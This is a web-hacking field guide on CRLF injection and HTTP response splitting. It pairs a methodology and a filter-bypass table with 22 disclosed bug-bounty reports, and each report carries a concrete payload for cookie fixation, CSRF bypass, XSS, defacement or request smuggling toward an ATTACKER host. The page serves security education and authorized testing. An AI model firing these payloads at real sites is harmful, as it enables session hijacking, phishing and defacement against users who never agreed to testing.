⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/CRLF / HTTP Response Splitting
Vulnerabilities

CRLF / HTTP Response Splitting

§Basic information

CRLF injection is putting a carriage-return/line-feed pair (\r\n, sent as %0d%0a) into data that the server copies verbatim into a response header. HTTP separates headers with CRLF, so one injected CRLF terminates the current header and starts a new header you control (Set-Cookie, Content-Type, X-XSS-Protection); a doubled CRLF terminates the header block entirely and lets you write a full response body — this is "HTTP response splitting".

The primitive is almost never the goal. CRLF is a delivery mechanism: an injected Set-Cookie gives you cookie fixation and cookie-tossing; a forged Content-Type: text/html + body gives you reflected XSS; a doubled response cached by a proxy gives you cache poisoning and defacement. The sink is always the same — request input (usually a path or query param) reflected into a response header, most often a 302 Location.

§Methodology

  1. Find header reflections. For every path segment, query param, and redirect_uri/ref/shop/t-style value, look for it echoed into a response header — the redirect Location above all.
  2. Fire a canary header after an encoded CRLF and read the raw response in Burp (not the rendered view). If your fake header appears on its own line, you have injection.
  3. Probe every newline variant — servers filter unevenly (%0d%0a, %0a, bare %0d, folded %0d%0a%09).
  4. Climb the confirmation ladder: canary header lands → inject Set-Cookie → inject a doubled CRLF + body to prove full response splitting.
  5. Weaponize for the context: cookie fixation → CSRF bypass, forged Content-Type → XSS, or a second cached response → poisoning.
# Canary — inject an obviously-fake header after the reflected value, read raw response GET /path%0d%0aX-Injected:%20crlf-canary HTTP/1.1 Host: TARGET # Tell: raw response contains a line X-Injected: crlf-canary
▲ WARNING
Read the raw response bytes, not the browser-rendered page or Burp's pretty view — a proxy or the rendering layer may re-fold or hide the injected header. curl -i is the fastest ground truth (#153794).

§Technique variants

Once a canary header lands, pick the escalation that fits the sink.

Split off a Set-Cookie line. Scope it to the parent domain (domain=.TARGET) so a single subdomain redirect writes a cookie sent to every sibling — the base for cookie-tossing, session fixation, and CSRF token overwrite.

GET /advanced%0d%0aSet-Cookie:test=1;domain=.TARGET HTTP/1.1 Host: TARGET # Resulting response line: Set-Cookie: test=1;domain=.TARGET

Full response splitting

A doubled CRLF ends the real header block; everything after it is a body you author. Add Content-Length: 0 to truncate the original response, then write a complete second HTTP response (defacement, XSS, or cache-poison payload).

GET /last_shop?shop=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html> HTTP/1.1 Host: TARGET

Reflected XSS via forged Content-Type

The sink is almost always a 3xx redirect, so the browser will follow the original Location before it ever renders your body. Defeat this by also injecting a Location: header (empty, or a dead value like //x:1) to neutralize the redirect. Then forge Content-Type: text/html so the browser parses your body as HTML, inject X-XSS-Protection:0 on the same forged response to kill the legacy auditor, and append your script after the header-terminating blank line.

GET /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C%2fscript%3E HTTP/1.1 Host: TARGET

data: URI XSS in a Location header

When open-redirect hardening blocks http(s) targets in the injected Location but the browser still navigates to and executes a data: scheme (Firefox), a data:text/html value carried into the redirect target yields XSS anyway. The content after the CRLF becomes the effective Location value directly — no second Location: header is injected (a duplicated header would just be ignored).

GET /%0d%0adata:text/html;text,%3Csvg%2fonload%3Dprompt(document.domain)%3E HTTP/1.1 Host: TARGET

Content-Type / content spoofing

Even without full script execution, forging Content-Type on an error or reflection page lets you spoof content (text/html, or a fake JSON/plaintext body) — useful for phishing or defeating a same-response defense.

GET /error?msg=x%0d%0aContent-Type:text/html%0d%0a%0d%0a%3Ch1%3Efake%20login%3C%2fh1%3E HTTP/1.1 Host: TARGET

§Bypasses

Filter / controlBypassSeen in
Filter strips \n onlyuse bare %0d (CR-only) — splits headers everywhere except Firefox#79552, #66386
Byte-level newline filterUTF-8 multibyte whose low byte is 0x0A/0x0D (%E5%98%8A→LF, %E5%98%8D→CR) when the app truncates a decoded char to its last byte#52042
CRLF sanitized, looks un-injectablepad the reflected param past ~7 KB so the server discards and regenerates the response with the injected header#53843
Bare CRLF blockedRFC1945 header folding %0d%0a%09 (CR-LF-TAB) — permissive clients (old IE, backported PHP) treat the continuation line as a real header#145392
Server pins cookie DomainDomain = (extra space) + %44 for D defeats the domain-normalizer#97292
Open-redirect filter on Locationdata:text/html URI executes where http(s) targets are blocked#177624
▸ TIP
Newline honoring is client-specific, so test across a browser matrix. A bare %0d splits headers in Chrome/IE but not Firefox; data: and folded headers behave the opposite way. What "doesn't reproduce" in one browser often fires in another (#66386, #145392).

§Escalation & impact

The injected cookie is the real pivot — the header injection is just the vehicle.

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 22 in this class.

Real-world example

HTTP response splitting in Ruby cgi gem (CVE-2021-33621)

◆ High
Specimen #1889474 · ibb · none · 7 votes · resolved
Program ibbSurface webChain CRLF in cgi output -> response splitting / Set-Cookie attTag webhook

Root cause

CVE-2021-33621: the Ruby cgi gem did not sanitize CR/LF when generating HTTP responses from untrusted input, and CGI::Cookie did not validate its contents, allowing header/body injection and Set-Cookie attribute injection.

Method

  1. Find an app that builds responses/headers or CGI::Cookie objects from user input using the cgi gem (< 0.3.5/0.2.2/0.1.0.2).
  2. Inject CR/LF into the reflected value to split headers or the body.
  3. Alternatively inject invalid attributes into a Set-Cookie via CGI::Cookie from user input.
# untrusted value reaching CGI header/cookie output: value = "x\r\nSet-Cookie: injected=1\r\n\r\n<script>..."

Insight — Library-level CRLF: when a framework/gem writes user data into headers, the sink may be the library rather than app code. For Ruby, cgi gem versions before the fix are a known response-splitting sink; audit dependency versions, not just app handlers.

Real-world example

CRLF Set-Cookie injection chained to CSRF double-submit bypass

◆ High
Specimen #79552 · gratipay · USD 40 · 6 votes · resolved
Program gratipaySurface webChain CRLF -> Set-Cookie cookie fixation -> double-submit CSTag webhook

Root cause

User-controlled path segment is reflected into the Location response header without stripping CR; a lone %0d (\r, honored by all browsers except Firefox) injects a Set-Cookie line, letting the attacker fixate any cookie on the domain.

Method

  1. Request a URL with %0d before an injected header to split the Location response: http://TARGET/%0dSet-Cookie:csrf_token=ATTACKER;
  2. Confirm the response emits your Set-Cookie line under the target origin.
  3. Use the injected cookie to defeat double-submit CSRF: force csrf_token to a known value, then auto-submit a matching hidden form.
http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; <form id=csrf action="https://gratipay.com/~fickov/statement.json" method=POST> <input type=hidden name=csrf_token value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"> <input type=hidden name=content value=CSRF_TEST></form> <img src="http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;" onerror=csrf.submit()>

Insight — Any reflection into a redirect Location header is a CRLF sink. A bare %0d is enough on Chrome/IE. The real impact is not the header itself but the chain: injected Set-Cookie enables cookie fixation, and against double-submit CSRF tokens you fix both the cookie and the form field to the same value, nullifying the protection.

Real-world example

CRLF injection in query param -> HTTP response header splitting

◆ Medium
Specimen #446271 · x · awarded · 439 votes · resolved
Program xSurface webTag crlf-http-splitting

Root cause

A URL/query parameter was reflected into a response header without stripping CR/LF, letting an attacker inject arbitrary headers (e.g. Set-Cookie) via %0d%0a.

Method

  1. Find a param reflected into a Location/redirect or other response header
  2. Inject %0d%0a followed by a header
  3. Confirm the injected header appears in the response
https://ads.twitter.com/subscriptions/mobile/landing?t=%0d%0aSet-Cookie:%20csrf_id=injection%3b https://ads.twitter.com/subscriptions/mobile/landing?ref=x?t=%0d%0atest:tested

Insight — Any parameter echoed into a response header (redirect targets, tracking refs) is a CRLF candidate; %0d%0a to inject Set-Cookie (session fixation) or split the response.

Real-world example

CRLF injection into Location header -> data: URI XSS

◆ Medium
Specimen #177624 · bumble · 140 · 25 votes · resolved
Program bumbleSurface webChain CRLF header injection -> XSS

Root cause

The path is reflected into the response Location header; injecting %0d%0a splits the header and the server hardening blocks external/HTTP redirects, but a data:text/html URI in the injected Location still triggers script execution.

Method

  1. Inject %0d%0a into the URL so content after it lands in the Location header
  2. Since external URL redirects are blocked, supply a data:text/html Location value
  3. Browser (Firefox) navigates to the data URI and executes the svg/onload
https://TARGET/%0d%0adata:text/html;text,%3Csvg%2fonload%3Dprompt%281%29%3E

Insight — When a CRLF-injectable Location header is hardened against http(s) open-redirects, a data: URI can still yield XSS in browsers that navigate/execute data-scheme Location values.

Real-world example

CRLF injection / HTTP response splitting via reflected parameter

◆ Medium
Specimen #171473 · owox · none · 13 votes · resolved
Program owoxSurface webTag supply-chain

Root cause

User input is reflected into an HTTP response header without stripping CR/LF, so %0d%0a lets an attacker inject arbitrary response headers (and potentially split the response / set cookies).

Method

  1. Find a parameter reflected into a response header (Location, Set-Cookie, custom)
  2. Inject %0d%0a<Header>: <value> and confirm the new header appears
  3. Escalate to cookie injection, cache poisoning, or reflected XSS via header split
?param=foo%0d%0aInjected-Header:%20pwned

Insight — Probe redirect/header-reflecting params with %0d%0a; a returned injected header confirms response splitting. Impact depends on what you can set (Set-Cookie, cache headers, content-type for XSS).

Real-world example

CRLF injection via Request-URI reflected into Location → Set-Cookie on parent domain

◆ Medium
Specimen #66386 · shopify · awarded · 5 votes · resolved
Program shopifySurface webChain CRLF -> cookie injection on *.domain -> CSRF double-su

Root cause

The redirect handler copies the raw request path into the Location response header without stripping CR/LF, so an encoded newline in the URL injects an arbitrary response header (Set-Cookie) scoped to the whole parent domain.

Method

  1. Append a URL-encoded CR/LF plus an injected header to the request path
  2. Server emits the path in Location, with the injected Set-Cookie as a new header line
  3. Set a cookie scoped to .parentdomain (usable for cookie-tossing / CSRF double-submit bypass / session fixation)
# %0a (\n) variant (Shopify): http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; # %0d (\r-only) variant works in every browser except Firefox (from #154275, ownCloud): http://doc.owncloud.org/%23%0dSet-Cookie:crlf=injection;domain=.owncloud.org;

Insight — Any endpoint echoing the request path/param into a Location or other response header is a CRLF candidate — test %0d, %0a, and %0d%0a; \r alone (%0d) still splits headers in most browsers. A parent-domain Set-Cookie is a primitive for cookie-tossing, CSRF double-submit-cookie bypass, and session fixation, not just self-harm.

Real-world example

Path-based CRLF injection to set attacker-controlled domain-scoped cookie

◆ Medium
Specimen #245485 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain CRLF header injection -> forged domain-scoped Set-Cookie Tag account-takeover

Root cause

User-controlled input in the URL path is reflected unsanitized into the HTTP response (a 302 Location redirect context), so injecting an encoded CRLF (%0D%0A) lets the attacker terminate the current header line and inject arbitrary new response headers such as Set-Cookie.

Method

  1. Find an endpoint that reflects part of the request (path/param) into a response header, typically a redirect Location.
  2. Append %0D%0A followed by an attacker header to the reflected value, e.g. .../advanced%0D%0ASet-Cookie:test2=test;domain=.TARGET
  3. Confirm the injected Set-Cookie header appears verbatim in the raw response.
  4. Because domain=.TARGET is used, the forged cookie is now sent by the browser to every subdomain of the parent domain, enabling cross-subdomain exploitation.
GET /advanced%0D%0ASet-Cookie:test2=test;domain=.TARGET HTTP/1.1 Host: TARGET # Resulting response contains: # Set-Cookie: test2=test;domain=.TARGET

Insight — Any reflection of request data into a response header (especially redirect Location) is a candidate for CRLF header injection. Use it to plant a domain-scoped cookie, then escalate: XSS if the cookie value is later reflected without encoding, bypass of double-submit-cookie CSRF tokens, or session fixation when the app does not rotate the session cookie post-login. Setting domain=.parent widens blast radius to all subdomains.

Real-world example

CRLF header injection in URL path

◆ Low
Specimen #1038594 · gsa_vdp · none · 32 votes · resolved
Program gsa_vdpSurface web

Root cause

Encoded CRLF (%0D%0A) in the URL path is reflected into the response headers, allowing injection of arbitrary headers such as Set-Cookie.

Method

  1. Append %0D%0A followed by an injected header to a path/parameter
  2. Confirm the header appears in the response
  3. Escalate to cookie fixation / cache poisoning / reflected XSS via injected headers
https://TARGET/%0D%0ASet-Cookie:crlfinjection=crlfinjection

Insight — Probe path and redirect/Location-building parameters with %0D%0A (and %0d%0a, %E5%98%8A%E5%98%8D unicode variants); a reflected Set-Cookie or double newline proves splitting and can lead to XSS/cache poisoning.

Real-world example

CRLF header injection -> reflected XSS

◆ Low
Specimen #192667 · starbucks · none · 27 votes · resolved
Program starbucksSurface webChain CRLF -> response splitting -> XSS

Root cause

Request path is reflected into response headers without stripping CR/LF; injecting %0d%0a lets you add Content-Type:text/html, disable XSS protection, and write an HTML body.

Method

  1. Inject %0d%0a in the path to break out of the header context
  2. Add Content-Type:text/html and X-XSS-Protection:0, then a blank line and your HTML body
http://TARGET/%3f%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert(document.domain)%3C/script%3E

Insight — Any reflection into a response header (Location, X-Original-link) that doesn't strip CRLF lets you forge headers and a body: set Content-Type:text/html + X-XSS-Protection:0 and append <script>.

Real-world example

CRLF injection in redirect Location -> Set-Cookie injection

◆ Low
Specimen #145128 · ui · awarded · 17 votes · resolved
Program uiSurface webTag cors

Root cause

User input reflected into the HTTP response Location header without stripping CR/LF lets an attacker inject additional response headers (here Set-Cookie), enabling cookie forcing/session fixation and Double-Submit CSRF bypass.

Method

  1. Find a redirect that echoes a path/param into the Location header.
  2. Inject an encoded CR (%0d) followed by the header you want to add.
  3. Confirm the injected Set-Cookie (or other header) appears in the response.
http://TARGET/%3f%0dSet-Cookie:crlf=injection%3bdomain=.TARGET%3b # response gains: # Set-Cookie:crlf=injection;domain=.target;

Insight — Test every reflected redirect/Location for %0d/%0a (and %0d alone - some stacks need only CR). Injected Set-Cookie enables session fixation, cookie-scope attacks, and bypass of double-submit-cookie CSRF defenses; can also seed XSS via cookie.

Real-world example

CRLF injection into Set-Cookie via unencoded redirect param

◆ Low
Specimen #95981 · deriv · awarded · 11 votes · resolved
Program derivSurface web

Root cause

A request parameter is reflected unencoded into a response header (Set-Cookie/Location); injecting %0a/%0d lets the attacker add arbitrary response headers.

Method

  1. Find a param reflected into a response header (cookie value, Location)
  2. Inject %0a or %0d followed by a new header line
  3. Confirm the injected header (e.g. Set-Cookie) appears in the response
https://TARGET/user/validate_link?step=account&verify_token=%0aSet-Cookie:%20attacker=1;%0a # yields response header: # Set-Cookie: attacker=1;

Insight — Any param echoed into a header is a header-injection primitive: set/overwrite cookies, drop security headers, and (if a body follows) attempt XSS/cache poisoning. Fix = URL-encode/strip CR/LF before reflecting.

Real-world example

CRLF injection via unescaped nginx $uri in Location

◆ Low
Specimen #25275 · greenhouse · none · 8 votes · resolved
Program greenhouseSurface web

Root cause

nginx redirect uses the raw $uri / $document_uri variable in the Location response header. URL-encoded CRLF (%0d%0a) in the request path is decoded into the header, letting an attacker inject arbitrary response headers (e.g. Set-Cookie) -> cookie fixation / response splitting.

Method

  1. Find a redirect that reflects the request path into Location (rewrite ... $uri)
  2. Send %0d%0a followed by an injected header in the path
  3. Observe the injected Set-Cookie / header in the response
GET /%0d%0aSet-Cookie:test=test;domain=.greenhouse.io HTTP/1.1 Host: greenhouse.io # Response: # Location: http://www.greenhouse.io/ # Set-Cookie:test=test;domain=.greenhouse.io

Insight — Any reverse-proxy redirect echoing $uri/$request_uri/$document_uri into a header is a CRLF sink. Probe path and query with %0d%0a (and single %0a) then look for header injection; escalate to cookie fixation, cache poisoning, or reflected XSS via injected body.

Real-world example

HTTP response splitting via Ruby cgi gem / CGI::Cookie (CVE-2021-33621)

◆ Low
Specimen #1889477 · ibb · none · 4 votes · resolved
Program ibbSurface webChain CRLF injection -> response splitting -> header injecti

Root cause

The Ruby cgi gem builds HTTP response headers (and CGI::Cookie's Set-Cookie attributes) from input without validating for CR/LF, so untrusted values flowing into header/cookie generation let an attacker inject additional response headers and/or a response body.

Method

  1. Find a Ruby app using the cgi gem to emit responses / build CGI::Cookie objects from user input
  2. Inject CRLF sequences into the tainted value (cookie name/value/attribute or header)
  3. Observe injected headers or a split response (poisoned Set-Cookie, cache, or reflected body)
# tainted value carrying CRLF -> injected header/body value = "x\r\nSet-Cookie: session=attacker\r\n\r\n<injected body>" # CGI::Cookie built from user input also allowed invalid attributes via CRLF

Insight — Any framework/gem that concatenates untrusted data into response headers or Set-Cookie without stripping CR/LF is a response-splitting sink. Test header-reflected params and cookie-name/value/attribute fields with %0d%0a. Fixed in cgi 0.3.5/0.2.2/0.1.0.2 - version-check to tell exploitable from patched.

Real-world example

HTTP response splitting in WEBrick via CRLF in cookie value

◆ Low
Specimen #153794 · ruby · none · 4 votes · resolved
Program rubySurface webChain CRLF header injection -> arbitrary headers / response spl

Root cause

WEBrick did not strip CR/LF from values placed into response headers (e.g. Set-Cookie), so attacker-controlled input containing %0D%0A injects arbitrary response headers - classic HTTP response splitting / header injection (CVE-2017-17742).

Method

  1. Find a parameter whose value is reflected into a response header (cookie, Location, custom header)
  2. Inject CRLF (%0D%0A) followed by an arbitrary header
  3. Observe the injected header in the raw response
curl -i 'http://TARGET:8080/?author=Aaron%0D%0AX-Foo:%20hacked'

Insight — Whenever request input lands in a response header, test %0D%0A injection; it enables header injection, cookie setting, and (with a doubled CRLF) body/response splitting. Many language HTTP servers historically shared this flaw.

Real-world example

CRLF filter bypass via UTF-8 multibyte last-byte extraction

◆ Info
Specimen #52042 · x · awarded · 58 votes · resolved
Program xSurface web

Root cause

A cookie-setting parameter was vulnerable to HTTP response splitting; a naive filter blocked raw 0x0A, but the app decoded multibyte UTF-8 and kept only the low byte, so a multibyte char ending in 0x0A reintroduced the newline.

Method

  1. Find a reflected value copied into a response header (here reported_tweet_id -> Set-Cookie)
  2. Confirm raw %0A is filtered
  3. Send a UTF-8 multibyte sequence whose last byte is 0x0A (e.g. %E5%98%8A -> U+560A -> keep 0x0A)
  4. Injected CRLF splits the response, allowing header/body injection
https://twitter.com/i/safety/report_story?...&reported_tweet_id=%E5%98%8ASet-Cookie:%20test # %E5%98%8A => U+560A => low byte 0x0A (LF); %E5%98%8D => 0x0D (CR)

Insight — When CRLF/newline bytes are filtered, test overlong/multibyte encodings. Apps that Unicode-decode then truncate to the last byte let you smuggle 0x0D/0x0A. Try %E5%98%8A (LF) and %E5%98%8D (CR).

Real-world example

HTTP response splitting via header-size overflow

◆ Info
Specimen #53843 · x · awarded · 30 votes · resolved
Program xSurface web

Root cause

User-controlled parameters are reflected into response headers. Normal CRLF is filtered, but when the total header block exceeds a size limit (~7000 bytes) the server discards the original response and serves a freshly generated one that carries the attacker's injected headers.

Method

  1. Find an endpoint that reflects a parameter into a response header
  2. Pad a reflected param with thousands of characters so total header size exceeds ~7KB
  3. Append your injected header (e.g. Set-Cookie) after the padding
  4. Server regenerates the response and emits the injected header
https://twitter.com/i/safety/report_story?...&reported_tweet_id=<~7000+ spaces/chars>set-cookie:a (when header block overflows, the injected 'set-cookie:a' header is served)

Insight — A header-reflection sink that looks un-injectable because CRLF is sanitized can still be exploited by overflowing the header size to force the server to regenerate the response with the injected header. Test long padding on any param reflected into headers.

Real-world example

HTTP response splitting via CRLF in reflected parameter

◆ Info
Specimen #106427 · shopify · USD 500 · 19 votes · resolved
Program shopifySurface web

Root cause

A user parameter (shop) is reflected into a response header without stripping CR/LF, letting the attacker inject headers and a full second HTTP response.

Method

  1. Put %0d%0a-encoded CRLF in the reflected param
  2. Append forged headers + a full second response body
  3. Confirm two responses / injected headers in Burp
https://v.shopify.com/last_shop?shop=x.myshopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

Insight — Any param reflected into a header (Location, Set-Cookie, custom) is a CRLF candidate. Escalates to cache poisoning, defacement, XSS, and page hijacking on cached/proxied responses.

Real-world example

Header injection via redirect_uri using RFC1945 header folding

◆ Info
Specimen #145392 · nextcloud · none · 18 votes · resolved
Program nextcloudSurface web

Root cause

redirect_url was passed unvalidated into PHP header('Location: ...'); on PHP builds honoring RFC1945 header folding, a CR-LF-TAB sequence folds a continuation line that IE interprets as a separate response header (e.g. Set-Cookie), yielding response header injection.

Method

  1. Find a redirect param placed into a Location header
  2. Inject %0d%0a%09 (CR LF TAB) then the header you want to smuggle
  3. On vulnerable PHP the folded line is emitted; IE strips the tab and honors the injected header
/index.php?redirect_url=/%3f%0d%0a%09set-cookie:+hello=yoyoo

Insight — When a param reflects into a response header, test not just raw %0d%0a but the folding continuation %0d%0a%09 / leading-space variants; some server stacks (backported PHP) allow folded headers that permissive clients (older IE) treat as real headers.

Real-world example

CRLF header injection -> Set-Cookie scoped to parent domain (cookie tossing)

◆ Info
Specimen #97292 · security · awarded · 18 votes · resolved
Program securitySurface web

Root cause

A redirect on a subdomain reflects the request path into the response headers without stripping CR/LF, letting the attacker inject Set-Cookie. Because subdomains can set cookies for the registrable parent domain, the injected cookie applies to the apex.

Method

  1. Send a request whose path contains %0d%0a followed by a Set-Cookie with Domain=.parent
  2. Server reflects it into the 302 response headers
  3. Cookie is now set for the parent domain (session fixation / cookie tossing)
GET /%0d%0aset-cookie%20%3amycookie%3dmyvalue;%20%44omain%20%3d.hackerone.com HTTP/1.1 Host: info.hackerone.com # 'Domain =' (space) + %44 for D bypasses server code that pins the cookie domain

Insight — CRLF on any subdomain redirect is a parent-domain cookie-injection primitive (fixation, cookie tossing, CSRF-token overwrite). Watch for filters normalizing the Domain attribute and bypass with case/spacing/URL-encoding of keywords.

Real-world example

CRLF header injection in Python urllib (CVE-2016-5699)

◆ Info
Specimen #165102 · ibb · awarded · 14 votes · resolved
Program ibbSurface webChain CRLF in outbound client request -> header injection / reqTag webhook

Root cause

Python's httplib HTTPConnection.putheader() did not validate header names/values, so user-controlled header content containing CRLF could inject additional headers or split the request in any app using urllib/urllib2 with user-provided header data (or a CRLF-bearing URL).

Method

  1. Find a server-side HTTP client (urllib/urllib2/httplib) where a URL, header name, or header value is user-controlled
  2. Inject CRLF (\r\n) into that value
  3. Confirm added headers / request line injection at the destination
# user-controlled value reaching putheader / a URL like: http://ATTACKER:11211/?\r\nInjected-Header: value\r\n\r\n<smuggled payload>

Insight — Whenever an app builds outbound HTTP requests from user input, test CRLF in URLs and header fields - vulnerable clients let you inject headers or smuggle a second request (e.g. to memcached/redis on internal ports). Library-level CRLF bugs affect every consumer, so pin patched runtimes.

Real-world example

CRLF Content-Type injection for HTML content spoofing on error pages

◆ Info
Specimen #209521 · greenhouse · none · 6 votes · resolved
Program greenhouseSurface webTag account-takeover

Root cause

User-controlled URL data is reflected into a response (error/404 page) without stripping CRLF, letting an attacker inject a Content-Type header and body so the browser renders attacker-supplied HTML/text under the trusted domain.

Method

  1. Append CRLF-encoded sequence to the path/parameter that gets reflected
  2. Inject a Content-Type: text/html header followed by a blank line and HTML/text body
  3. Victim visiting the crafted link on the trusted domain sees attacker content (defacement/phishing)
http://link.greenhouse.io/%0D%0AContent-Type:%20text/html%0D%0A%0D%0AIt%20has%20been%20changed,%20go%20to%20https://www.attacker.com

Insight — On any endpoint that echoes path/query into an error page, test %0D%0A (and %0A) injection: if you can inject Content-Type or body you get content spoofing at minimum, response splitting/cache poisoning at worst. Even simple reflected text on a 404 is a content-spoofing/phishing primitive worth reporting when it renders in the victim's context.

Real-world example

CRLF header injection via redirect uri parameter

◆ Info
Specimen #203673 · ui · awarded · 4 votes · resolved
Program uiSurface webTag account-takeover

Root cause

Login.cgi took the uri GET parameter and, after urldecode, placed it directly into a Location response header with no CRLF sanitization, allowing header injection and open redirect.

Method

  1. Supply uri with encoded CRLF and an injected header (%0d%0a)
  2. Trigger the login/redirect so the value is emitted into the Location header
  3. Observe injected header / arbitrary redirect in the 302 response
uri=/admin.cgi%0d%0aNewHeader:Value Response: HTTP/1.1 302 Found Location: /admin.cgi NewHeader: Value

Insight — Any user-controlled value reflected into a Location/response header is a CRLF/open-redirect sink; test %0d%0a (and single %0a) injection and header smuggling.

§References & practice

  1. PortSwigger Web Security Academy — Request smuggling labs (hands-on practice).
  2. All 22 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.